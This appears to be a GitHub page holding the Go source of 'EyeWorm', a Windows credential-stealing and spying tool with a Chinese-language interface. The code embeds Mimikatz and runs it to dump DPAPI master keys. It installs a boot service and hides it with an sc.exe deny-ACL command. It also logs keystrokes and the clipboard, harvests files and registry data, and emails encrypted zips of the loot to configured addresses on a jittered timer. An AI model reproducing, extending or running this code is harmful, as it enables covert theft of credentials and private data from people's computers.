-
Notifications
You must be signed in to change notification settings - Fork 5
/
EyeWorm.go
1600 lines (1440 loc) · 44.4 KB
/
EyeWorm.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
package main
import (
"archive/zip"
"bytes"
_ "embed"
"encoding/json"
"errors"
"flag"
"fmt"
"io"
"io/ioutil"
"math/rand"
"os"
"os/exec"
"path"
"path/filepath"
"strconv"
"strings"
"time"
ezip "github.com/alexmullins/zip"
"github.com/kardianos/service"
lnk "github.com/parsiya/golnk"
"github.com/shirou/gopsutil/process"
"golang.org/x/net/html/charset"
"golang.org/x/sys/windows/registry"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
"gopkg.in/gomail.v2"
)
type Config struct {
CConfig CollectConfig `json:"CollectConfigTable"`
Timeout int `json:"Timeout"`
TimeU string `json:"TimeU"`
TimeShake int `json:"TimeShake"`
ServiceName string `json:"ServiceName"`
ServiceDisplayName string `json:"ServiceDisplayName"`
ServiceDescription string `json:"ServiceDescription"`
SpySaveName string `json:"SaveFileloc"`
KeylogSaveloc string `json:"KeylogSaveloc"`
MailHost string `json:"Mail_Host"`
MailPort int `json:"Mail_Port"`
MailSender string `json:"Mail_Sender"`
MailPwd string `json:"Mail_Pwd"`
MailTo []string `json:"Mail_To"`
ZipPwd string `json:"ZipPwd"`
PackTargetFile bool `json:"PackTargetFile"`
}
type program struct{}
type CollectConfig struct {
Collectors []Collector `json:"Collectors"`
}
type Collector struct {
ShortName string `json:"RuleName"`
OS string `json:"OS"`
Category string `json:"Category"`
CollectorType string `json:"CollectorType"`
Locations []string `json:"Locations"`
ContentKeys []string `json:"ContentKeys"`
NameKeys []string `json:"FileName"`
SuffixTypes []string `json:"SuffixTypes"`
Explain string `json:"Explain"`
Commands []string `json:"Commands"`
ProcessName []string `json:"ProcessName"`
ReValueNames []string `json:"RE_ValueNames"`
ReValueDatas []string `json:"RE_ValueDatas"`
FliesScanTargets []string
ContentScanTagerts []string
ContentTargetsPath []string
TRKNPathResults []string
CommandResults []string
targetProcessPaths []string
TRVNResults []string
TRVDResults []string
}
type FlagStruct struct {
Help bool
FilesWorm bool
CommandWorm bool
ProcessWorm bool
RegistryWorm bool
RecentWorm bool
ApiWorm bool
RedEye bool
Spy bool
UnRedEye bool
Upload bool
O string
Keylog bool
Masterkey bool
All bool
}
type MimikatzCode struct {
Name string `json:"Name"`
Code []byte `json:"Code"`
}
var (
//go:embed MimiCode.json
MimiCodeByteValue []byte
MimiCode = MimikatzCode{}
config = Config{}
flagStruct = FlagStruct{}
filesCollectors []*Collector
commandCollectors []*Collector
processCollectors []*Collector
registryCollectors []*Collector
recentCollectors []*Collector
apiCollertor Collector
RcecentTargetLocations []string
TargetProcesses []string
RedCommands []string
SpyCommands []string
ApiResult string
MasterkeyResult string
OSaveData string
KeylogSavePath string
)
var (
ignoreFile = []string{""}
ignorePath = []string{""}
ignoreType = []string{""}
)
func ReadConfig() Config {
path, _ := os.Executable()
ByteValue := MyReadSource(path, 16, 55)
var config Config
json.Unmarshal([]byte(ByteValue), &config)
return config
}
func ReadMimiCode() MimikatzCode {
byteValue := MimiCodeByteValue
var Code MimikatzCode
json.Unmarshal([]byte(byteValue), &Code)
return Code
}
func CollectorSuffixinit(coller *Collector) {
if isInArray(&coller.SuffixTypes, "*") || coller.SuffixTypes == nil || len(coller.SuffixTypes) == 0 {
coller.SuffixTypes = []string{""}
}
}
func registryCollectorsInit(rgs []*Collector) []*Collector {
var registryCollectors []*Collector
for _, registryCollector := range rgs {
registryCollector.ReValueNames = append(registryCollector.ReValueNames, "*")
registryCollectors = append(registryCollectors, registryCollector)
}
return registryCollectors
}
func init() {
config = ReadConfig()
MimiCode = ReadMimiCode()
filesCollectors = config.CConfig.FindByType("File")
commandCollectors = config.CConfig.FindByType("Command")
processCollectors = config.CConfig.FindByType("Process")
registryCollectors = config.CConfig.FindByType("Registry")
recentCollectors = config.CConfig.FindByType("Recent")
apiCollertor = config.CConfig.FindByShortName("APiWorm")
registryCollectors = registryCollectorsInit(registryCollectors)
KeylogSavePath = config.KeylogSaveloc
for _, filesCollector := range filesCollectors {
CollectorSuffixinit(filesCollector)
}
for _, processCollector := range processCollectors {
CollectorSuffixinit(processCollector)
}
flag.BoolVar(&flagStruct.Help, "help", false, "查看EyeWorm的使用方法")
flag.BoolVar(&flagStruct.FilesWorm, "wfiles", false, "文件及文件夹收集,支持 * ? 通配符(例如:a*,a?b,*),定制化收集组")
flag.BoolVar(&flagStruct.CommandWorm, "wcommands", false, "根据输入的cmd命令收集输出信息...")
flag.BoolVar(&flagStruct.ProcessWorm, "wprocess", false, "根据Process名称收集该进程目录下的相关信息")
flag.BoolVar(&flagStruct.RegistryWorm, "wregistry", false, "根据注册表信息搜寻项或值 locations:注册表的搜索范围,NameKeys:根据项名称搜索,RE_ValueNames:根据值名称搜索,RE_ValueDatas:根据值数据搜索")
flag.BoolVar(&flagStruct.RecentWorm, "wrecent", false, "最近访问检索,仅配置contentkeys 、namekeys、SuffixTypes即可使用 ,recent的内容扫描因为内容很多,所以扫描速度非常慢,建议先扫描出文件夹名称,再进行filesworm")
flag.BoolVar(&flagStruct.ApiWorm, "wmimikatz", false, apiCollertor.Explain)
flag.BoolVar(&flagStruct.RedEye, "redeye", false, "开机自启服务,自动spy常驻,需要配置常驻项的Mail信息和timeout(second 秒,min 分钟,hour 小时)")
flag.BoolVar(&flagStruct.Upload, "upload", false, "把收集到的内容上传到oss服务器中")
flag.BoolVar(&flagStruct.Spy, "spy", false, "监控当前主机,定时返回数据到oos服务器需要配置常驻项的Mail信息和timeout(second 秒,min 分钟,hour 小时)")
flag.BoolVar(&flagStruct.UnRedEye, "unred", false, "解除隐藏的自启服务")
flag.BoolVar(&flagStruct.Keylog, "keylog", false, "开启键盘记录,利用该功能收集键盘信息")
flag.BoolVar(&flagStruct.Masterkey, "dpapi", false, "收集MasterKey")
flag.BoolVar(&flagStruct.All, "all", false, "根据配置文件进行全部种类收集")
flag.StringVar(&flagStruct.O, "o", "", "把收集到的内容整合输出成文件")
flag.Parse()
}
func main() {
fmt.Println(" ______ __ __ \n | ____| \\ \\ / / \n | |__ _ _ __\\ \\ /\\ / /__ _ __ _ __ ___ \n | __|| | | |/ _ \\ \\/ \\/ / _ \\| '__| '_ ` _ \\\n | |___| |_| | __/\\ /\\ / (_) | | | | | | | |\n |______\\__, |\\___| \\/ \\/ \\___/|_| |_| |_| |_|\n __/ | \n |___/ \n ")
fmt.Println("欢迎使用 眼虫! EyeWorm 我们将为你服务.... 作者:萧枫")
fmt.Println("使用 -help 查看useage")
if flagStruct.Help {
flag.Usage()
}
if flagStruct.All {
flagStruct.CommandWorm = true
flagStruct.FilesWorm = true
flagStruct.ProcessWorm = true
flagStruct.RegistryWorm = true
flagStruct.RecentWorm = true
flagStruct.ApiWorm = true
}
if flagStruct.CommandWorm {
ComW()
}
if flagStruct.FilesWorm {
FileW()
}
if flagStruct.ProcessWorm {
ProW()
}
if flagStruct.RegistryWorm {
RegistryW()
}
if flagStruct.RecentWorm {
RcenW()
}
if flagStruct.ApiWorm {
WormMimikatz(&apiCollertor)
}
if flagStruct.Masterkey {
WormMasterkey()
}
if flagStruct.Spy {
SpyNow()
}
if flagStruct.O != "" {
SaveFile()
}
if flagStruct.RedEye {
RedEye()
}
if flagStruct.Upload {
UploadData()
}
if flagStruct.UnRedEye {
UnRedEye()
}
if flagStruct.Keylog {
//剪贴板监控
go clipboardLogger()
//应用窗口监控
go WindowLogger()
//键盘监控
Keylogger()
}
}
func ComW() {
for _, commandCollector := range commandCollectors {
fmt.Println("\n\n\n####################################" + commandCollector.ShortName + "扫描结果如下##########################################")
WormCommand(commandCollector)
}
}
func RcenW() {
for _, recentCollector := range recentCollectors {
WormRecent(recentCollector)
}
}
func RegistryW() {
for _, registryCollector := range registryCollectors {
fmt.Println("\n\n\n####################################" + registryCollector.ShortName + "扫描结果如下##########################################")
WormRegistry(registryCollector)
}
}
func ProW() {
for _, processCollector := range processCollectors {
fmt.Println("\n\n\n####################################" + processCollector.ShortName + "扫描结果如下##########################################")
WormProcesses(TargetProcesses, processCollector)
}
}
func FileW() {
flag := false
for _, filesCollector := range filesCollectors {
if filesCollector.Locations == nil {
flag = true
}
}
if flag {
fmt.Println("你有Type为File的收集策略地址未配置")
return
}
for _, filesCollector := range filesCollectors {
fmt.Println("\n\n\n####################################" + filesCollector.ShortName + "扫描结果如下##########################################")
WormFiles(filesCollector.Locations, filesCollector)
}
}
func UnRedEye() {
svcConfig := &service.Config{
Name: config.ServiceName,
DisplayName: config.ServiceDisplayName,
Description: config.ServiceDescription,
}
UnHideService(svcConfig)
prg := &program{}
s, err := service.New(prg, svcConfig)
if err != nil {
fmt.Errorf(err.Error())
}
err1 := s.Uninstall()
if err1 != nil {
fmt.Errorf(err1.Error())
return
}
fmt.Println("服务解除隐藏,卸载成功!")
}
func SpyNow() {
//先執行一次
DoSpy()
upload()
tU, err := GetTimeU()
if err != nil {
fmt.Errorf(err.Error())
return
}
t := time.NewTicker(tU*time.Duration(config.Timeout) + (time.Second * time.Duration(random(config.TimeShake))))
defer t.Stop()
for {
<-t.C
t = time.NewTicker(tU*time.Duration(config.Timeout) + (time.Second * time.Duration(random(config.TimeShake))))
DoSpy()
upload()
}
}
func random(Max int) int {
rand.Seed(time.Now().UnixNano())
return rand.Intn(100)
}
//获取程序全路径
func GetRunPath() string {
file, _ := exec.LookPath(os.Args[0])
path, _ := filepath.Abs(file)
index := strings.LastIndex(path, string(os.PathSeparator))
ret := path[:index]
return ret + "\\" + fmt.Sprint(os.Args[0])
}
func DoSpy() {
GetSpyCommand()
datapath := GetRunPath()
cmd := exec.Command(datapath, SpyCommands...)
err := cmd.Run()
if err != nil {
fmt.Errorf(err.Error())
return
}
fmt.Println("执行成功!保存位置:" + config.SpySaveName)
}
func SendGoMail(mailAddress []string, subject string, body string, zip string) error {
m := gomail.NewMessage()
// 这种方式可以添加别名,即 nickname, 也可以直接用<code>m.SetHeader("From", MAIL_USER)</code>
nickname := "gomail"
m.SetHeader("From", nickname+"<"+config.MailSender+">")
// 发送给多个用户
m.SetHeader("To", mailAddress...)
// 设置邮件主题
m.SetHeader("Subject", subject)
m.Attach(zip)
// 设置邮件正文
m.SetBody("text/html", body)
d := gomail.NewDialer(config.MailHost, config.MailPort, config.MailSender, config.MailPwd)
// 发送邮件
err := d.DialAndSend(m)
return err
}
// EncryptZip 加密压缩文件
func EncryptZip(src, desc, password string) error {
zipfile, err := os.Create(desc)
if err != nil {
return err
}
defer zipfile.Close()
archive := ezip.NewWriter(zipfile)
defer archive.Close()
filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
header, err := ezip.FileInfoHeader(info)
if err != nil {
return err
}
header.Name = strings.TrimPrefix(path, filepath.Dir(src)+"/")
if info.IsDir() {
header.Name += "/"
} else {
header.Method = zip.Deflate
}
// 设置密码
header.SetPassword(password)
writer, err := archive.CreateHeader(header)
if err != nil {
return err
}
if !info.IsDir() {
file, err := os.Open(path)
if err != nil {
return err
}
defer file.Close()
_, err = io.Copy(writer, file)
}
return err
})
return err
}
func UploadData() {
SaveData()
mailsubject := os.Getenv("USERDOMAIN_ROAMINGPROFILE") + "UserName:" + os.Getenv("USERNAME") + "Remote Result"
folder := "Result"
zip := "Result.zip"
PackFolder(folder)
EncryptZip(folder, zip, config.ZipPwd)
SendGoMail(config.MailTo, mailsubject, "this My EyeWorm", zip)
os.Remove(zip)
os.RemoveAll(folder)
}
func SaveData() string {
str := SaveStr()
location := config.SpySaveName
os.WriteFile(location, []byte(str), 0600)
return location
}
func GetTimeU() (time.Duration, error) {
if config.TimeU == "second" {
return time.Second, nil
}
if config.TimeU == "min" {
return time.Minute, nil
}
if config.TimeU == "hour" {
return time.Hour, nil
}
fmt.Println("config.TimeU:" + config.TimeU)
return 0, errors.New("time类型错误!请修改timeU")
}
func upload() {
mailsubject := os.Getenv("USERDOMAIN_ROAMINGPROFILE") + "UserName:" + os.Getenv("USERNAME") + "Remote Result"
folder := "Result"
zip := "Result.zip"
PackFolder(folder)
EncryptZip(folder, zip, config.ZipPwd)
SendGoMail(config.MailTo, mailsubject, "this My EyeWorm", zip)
os.Remove(zip)
os.RemoveAll(folder)
}
func PackFolder(folder string) {
os.MkdirAll(folder, os.ModePerm)
MyCopy(config.SpySaveName, folder+"/result.txt")
if flagStruct.Keylog {
MyCopy(KeylogSavePath, folder+"/keylog.txt")
}
if config.PackTargetFile {
PackUpTarget(folder)
}
}
func PackUpTarget(folder string) {
if flagStruct.FilesWorm {
for _, filesCollector := range filesCollectors {
for _, file := range filesCollector.FliesScanTargets {
fname := filepath.Base(file)
MyCopy(file, folder+"/"+fname)
}
}
}
if flagStruct.ProcessWorm {
for _, processCollector := range processCollectors {
for _, file := range processCollector.FliesScanTargets {
fname := filepath.Base(file)
MyCopy(file, folder+"/"+fname)
}
}
}
if flagStruct.RecentWorm {
for _, recentCollertor := range recentCollectors {
for _, file := range recentCollertor.FliesScanTargets {
fname := filepath.Base(file)
MyCopy(file, folder+"/"+fname)
}
}
}
}
func MyCopy(str string, dst string) {
input, err := ioutil.ReadFile(str)
if err != nil {
fmt.Println(err)
return
}
err = ioutil.WriteFile(dst, input, 0644)
if err != nil {
fmt.Println("Error creating", dst)
fmt.Println(err)
return
}
}
func handleError(err error) {
fmt.Println("Error:", err)
os.Exit(-1)
}
func SaveFile() {
str := SaveStr()
os.WriteFile(flagStruct.O, []byte(str), 0600)
}
func SaveStr() string {
var result string
if flagStruct.FilesWorm {
for _, filesCollector := range filesCollectors {
fmt.Println("-------------------------------------------------------------测试------------------------------------------------------------------------")
result += fmt.Sprintln("==== " + filesCollector.ShortName + " 文件扫描结果如下:====")
str1 := FmtGet(filesCollector.FliesScanTargets)
result += str1
result += fmt.Sprintln("==== " + filesCollector.ShortName + "内容扫描结果如下:====")
str2 := FmtGet(filesCollector.ContentScanTagerts)
result += str2
}
}
if flagStruct.CommandWorm {
result += fmt.Sprintln("====CommandWorm 扫描结果如下:====")
for _, commandCollector := range commandCollectors {
result += fmt.Sprintln("==== " + commandCollector.ShortName + " 扫描结果如下:====")
str1 := GetCommandResults(commandCollector.CommandResults)
result += str1
}
}
if flagStruct.ProcessWorm {
for _, processCollector := range processCollectors {
result += fmt.Sprintln("====ProcessWorm 文件扫描结果如下:====")
str1 := FmtGet(processCollector.FliesScanTargets)
result += str1
result += fmt.Sprintln("====ProcessWorm 内容扫描结果如下:====")
str2 := FmtGet(processCollector.ContentScanTagerts)
result += str2
}
}
if flagStruct.RegistryWorm {
for _, registryCollector := range registryCollectors {
result += fmt.Sprintln("==========RegistryWorm 项名称匹配结果=========")
str1 := FmtGet(registryCollector.TRKNPathResults)
result += str1
if registryCollector.ReValueNames != nil || len(registryCollector.ReValueNames) != 0 {
result += fmt.Sprintln("============RegistryWorm 值名称匹配结果================")
str1 := FmtGet(registryCollector.TRVNResults)
result += str1
}
if registryCollector.ReValueDatas != nil || len(registryCollector.ReValueDatas) != 0 {
result += fmt.Sprintln("============RegistryWorm 值关联数据匹配结果============")
str1 := FmtGet(registryCollector.TRVDResults)
result += str1
}
}
}
if flagStruct.RecentWorm {
for _, recentCollertor := range recentCollectors {
result += fmt.Sprintln("====RecentWorm 文件扫描结果如下:====")
str1 := FmtGet(recentCollertor.FliesScanTargets)
result += str1
result += fmt.Sprintln("====RecentWorm 内容扫描结果如下:====")
str2 := FmtGet(recentCollertor.ContentScanTagerts)
result += str2
}
}
if flagStruct.ApiWorm {
result += fmt.Sprintln("====ApiWorm 扫描结果如下:====")
result += fmt.Sprintln(ApiResult)
}
if flagStruct.Masterkey {
result += fmt.Sprintln("====Masterkey 结果如下:====")
result += fmt.Sprintln(MasterkeyResult)
}
return result
}
func RedEye() {
GetRedCommands()
svcConfig := &service.Config{
Name: config.ServiceName,
DisplayName: config.ServiceDisplayName,
Description: config.ServiceDescription,
}
prg := &program{}
s, err := service.New(prg, svcConfig)
if err != nil {
fmt.Errorf(err.Error())
}
err1 := s.Install()
if err1 != nil {
fmt.Errorf(err1.Error())
return
}
fmt.Println("服务安装成功,并且隐藏!")
HideService(svcConfig)
if err = s.Run(); err != nil {
fmt.Errorf(err.Error())
}
SpyNow()
}
func GetSpyCommand() {
if flagStruct.All {
SpyCommands = append(SpyCommands, "-all")
} else {
if flagStruct.FilesWorm {
SpyCommands = append(SpyCommands, "-wfiles")
}
if flagStruct.CommandWorm {
SpyCommands = append(SpyCommands, "-wcommands")
}
if flagStruct.ProcessWorm {
SpyCommands = append(SpyCommands, "-wprocess")
}
if flagStruct.RegistryWorm {
SpyCommands = append(SpyCommands, "-wregistry")
}
if flagStruct.RecentWorm {
SpyCommands = append(SpyCommands, "-wrecent")
}
if flagStruct.ApiWorm {
SpyCommands = append(SpyCommands, "-wmimikatz")
}
}
if flagStruct.Masterkey {
SpyCommands = append(SpyCommands, "-dpapi")
}
SpyCommands = append(SpyCommands, "-o="+config.SpySaveName)
}
func GetRedCommands() {
if flagStruct.All {
RedCommands = append(RedCommands, "-all")
} else {
if flagStruct.FilesWorm {
RedCommands = append(RedCommands, "-wfiles")
}
if flagStruct.CommandWorm {
RedCommands = append(RedCommands, "-wcommands")
}
if flagStruct.ProcessWorm {
RedCommands = append(RedCommands, "-wprocess")
}
if flagStruct.RegistryWorm {
RedCommands = append(RedCommands, "-wregistry")
}
if flagStruct.RecentWorm {
RedCommands = append(RedCommands, "-wrecent")
}
if flagStruct.ApiWorm {
RedCommands = append(RedCommands, "-wmimikatz")
}
}
if flagStruct.Masterkey {
RedCommands = append(RedCommands, "-dpapi")
}
if flagStruct.Keylog {
RedCommands = append(RedCommands, "-keylog")
}
RedCommands = append(RedCommands, "-spy")
}
//服務執行
func (p *program) Start(s service.Service) error {
go p.run()
return nil
}
//具体实现
func (p *program) run() {
datapath := GetRunPath()
cmd := exec.Command(datapath, RedCommands...)
cmd.Run()
}
//停止
func (p *program) Stop(s service.Service) error {
return nil
}
func HideService(config *service.Config) {
cmd := exec.Command("sc.exe", "sdset", config.Name, "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)'")
err := cmd.Run()
if err != nil {
fmt.Errorf(err.Error())
}
}
func UnHideService(config *service.Config) {
cmd := exec.Command("Powershell.exe", "&", "$env:SystemRoot\\System32\\sc.exe", "sdset", config.Name, "'D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)'")
err := cmd.Run()
if err != nil {
fmt.Errorf(err.Error())
}
}
func WormMasterkey() {
tagetb := MimiCode.Code
os.WriteFile("Masterkey.exe", tagetb, 0600)
cmd := exec.Command("./Masterkey.exe", "privilege::debug", "sekurlsa::dpapi", "exit") //获得masterkey
out, err := cmd.Output()
if err != nil {
fmt.Errorf(err.Error())
}
MasterkeyResult = string(out)
fmt.Println("=================================WormMasterkey 结果如下:=====================================")
fmt.Println(string(out))
os.Remove("Masterkey.exe")
}
func WormMimikatz(apic *Collector) {
tagetb := MimiCode.Code
if !strings.Contains(apic.ProcessName[0], ".exe") {
apic.ProcessName[0] = "defult.exe"
}
os.WriteFile(apic.ProcessName[0], tagetb, 0600)
apic.Commands = append(apic.Commands, "exit")
cmd := exec.Command("./"+apic.ProcessName[0], apic.Commands...) ///查看当前目录下文件
out, err := cmd.Output()
if err != nil {
fmt.Errorf(err.Error())
}
ApiResult = string(out)
fmt.Println("=================================MimikatzWorm 结果如下:=====================================")
fmt.Println(string(out))
os.Remove(apic.ProcessName[0])
}
func WormRecent(coller *Collector) {
var recentpath = os.Getenv("APPDATA") + "/Microsoft/Windows/Recent"
var rfiles []string //Recent 结果 .lnk 文件
var targetType = []string{""}
var recentCollertorIndex *Collector = coller
err := GetAllFile(recentpath, &rfiles, &targetType, &ignoreFile, &ignorePath, &ignoreType)
if err != nil {
fmt.Printf(err.Error() + "\n")
}
for _, file := range rfiles {
if path.Ext(file) == ".lnk" {
if coller.NameKeys == nil || isInArray(&coller.NameKeys, "*") || len(coller.NameKeys) == 0 {
tureFile := SearchLnk(file)
if recentCollertorIndex.SuffixTypes == nil || isInArray(&recentCollertorIndex.SuffixTypes, "*") || len(recentCollertorIndex.SuffixTypes) == 0 {
if !isInArray(&recentCollertorIndex.FliesScanTargets, tureFile) {
recentCollertorIndex.FliesScanTargets = append(recentCollertorIndex.FliesScanTargets, tureFile) //真实文件地址SearchLnk(file)
}
} else {
forsuffix1:
for _, suffix := range recentCollertorIndex.SuffixTypes {
if suffix == path.Ext(tureFile) || IsDir(tureFile) {
if !isInArray(&recentCollertorIndex.FliesScanTargets, tureFile) {
recentCollertorIndex.FliesScanTargets = append(recentCollertorIndex.FliesScanTargets, tureFile) //真实文件地址SearchLnk(file)
}
break forsuffix1
}
}
}
} else {
for _, key := range coller.NameKeys {
//判断是否包含关键词
fname := filepath.Base(file)
split := strings.SplitN(fname, ".", 2)
if find := isMatch(split[0], key); find {
// 把lnk文件的指向地址找到
tureFile := SearchLnk(file)
if recentCollertorIndex.SuffixTypes == nil || isInArray(&recentCollertorIndex.SuffixTypes, "*") || len(recentCollertorIndex.SuffixTypes) == 0 {
if !isInArray(&recentCollertorIndex.FliesScanTargets, tureFile) {
recentCollertorIndex.FliesScanTargets = append(recentCollertorIndex.FliesScanTargets, tureFile) //真实文件地址SearchLnk(file)
}
} else {
forsuffix2:
for _, suffix := range recentCollertorIndex.SuffixTypes {
if suffix == path.Ext(tureFile) || IsDir(tureFile) {
if !isInArray(&recentCollertorIndex.FliesScanTargets, tureFile) {
recentCollertorIndex.FliesScanTargets = append(recentCollertorIndex.FliesScanTargets, tureFile) //真实文件地址SearchLnk(file)
}
break forsuffix2
}
}
}
}
}
}
}
}
if recentCollertorIndex.ContentKeys != nil && len(recentCollertorIndex.ContentKeys) > 0 {
if recentCollertorIndex.ContentKeys[0] == "" && len(recentCollertorIndex.ContentKeys) == 1 {
fmt.Println("==============================================目标文件如下:==============================================\n")
Fmtlog(coller.FliesScanTargets)
return
}
var truefiles []string = recentCollertorIndex.FliesScanTargets
WormFiles(truefiles, coller)
} else {
fmt.Println("==============================================目标文件如下:==============================================\n")
Fmtlog(coller.FliesScanTargets)
}
}
func SearchLnk(str string) string {
Lnk, err := lnk.File(str)
if err != nil {
panic(err)
}
// 中文路径需要解码,英文路径可忽略
targetPath, _ := simplifiedchinese.GBK.NewDecoder().String(Lnk.LinkInfo.LocalBasePath)
return targetPath
}
func WormRegistry(coller *Collector) {
for _, location := range coller.Locations {
Hk, spath := GetHKandSpath(location)
RegistryScan(Hk, spath, coller)
FatherValueScan(Hk, spath, coller)
}
fmt.Println("==================================项名称匹配结果============================================")
Fmtlog(coller.TRKNPathResults)
if coller.ReValueNames != nil || len(coller.ReValueNames) != 0 {
fmt.Println("==================================当前路径值结果============================================")
Fmtlog(coller.TRVNResults)
}
if coller.ReValueDatas != nil || len(coller.ReValueDatas) != 0 {
fmt.Println("==================================值关联数据匹配结果============================================")
Fmtlog(coller.TRVDResults)
}
}
func RegistryScan(Hk registry.Key, spath string, coller *Collector) {
key, _ := registry.OpenKey(Hk, spath, registry.ALL_ACCESS)
if coller.NameKeys == nil || isInArray(&coller.NameKeys, "*") || len(coller.NameKeys) == 0 {
// 根据值名称/内容搜索
keys, _ := key.ReadSubKeyNames(0)
//先把所有子项全部收集起来
for _, sk := range keys {
s_spath := spath + "\\" + sk
Path := CombinePath(Hk, s_spath)
coller.TRKNPathResults = append(coller.TRKNPathResults, Path)
sonSpath := GetSonSpath(spath, sk)
RegistryScan(Hk, sonSpath, coller)
}
key.Close()
sonsNameScan(coller)
//再进行值名称/内容搜索
// if coller.ReValueNames != nil || len(coller.ReValueNames) != 0 {
// RvlueNameScan(coller)
// }
// if coller.ReValueDatas != nil || len(coller.ReValueDatas) != 0 {
// RvlueDataScan(coller)
// }
} else {
//先根据项搜索,再根据值名称/内容搜索
//项搜索
keys, _ := key.ReadSubKeyNames(0)
for _, sk := range keys {
for _, tk := range coller.NameKeys {
RKeyNamematch(sk, tk, Hk, spath, coller)
sonSpath := GetSonSpath(spath, sk)
RegistryScan(Hk, sonSpath, coller)
}
}
key.Close()
sonsNameScan(coller)
//用已经匹配到的项来进行值名称/内容搜索
// if coller.ReValueNames != nil || len(coller.ReValueNames) != 0 {
// RvlueNameScan(coller)
// }
// if coller.ReValueDatas != nil || len(coller.ReValueDatas) != 0 {
// RvlueDataScan(coller)
// }
}
}
func RvlueDataScan(coller *Collector) {
for _, path := range coller.TRKNPathResults {
Hk, spath := GetHKandSpath(path)
key, _ := registry.OpenKey(Hk, spath, registry.ALL_ACCESS)
valueNames, _ := key.ReadValueNames(0)
for _, name := range valueNames {
if isInArray(&coller.ReValueDatas, "*") {
data := GetDatas(name, key)
result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据:%v\n", path, name, data)
if !isInArray(&coller.TRVDResults, result) {
coller.TRVDResults = append(coller.TRVDResults, result)
}
} else {
for _, Tdata := range coller.ReValueDatas {
RvlueDataMath(path, name, Tdata, key, coller)
}
}
}
key.Close()
}
}
func FatherValueScan(Hk registry.Key, spath string, coller *Collector) {
path := CombinePath(Hk, spath)
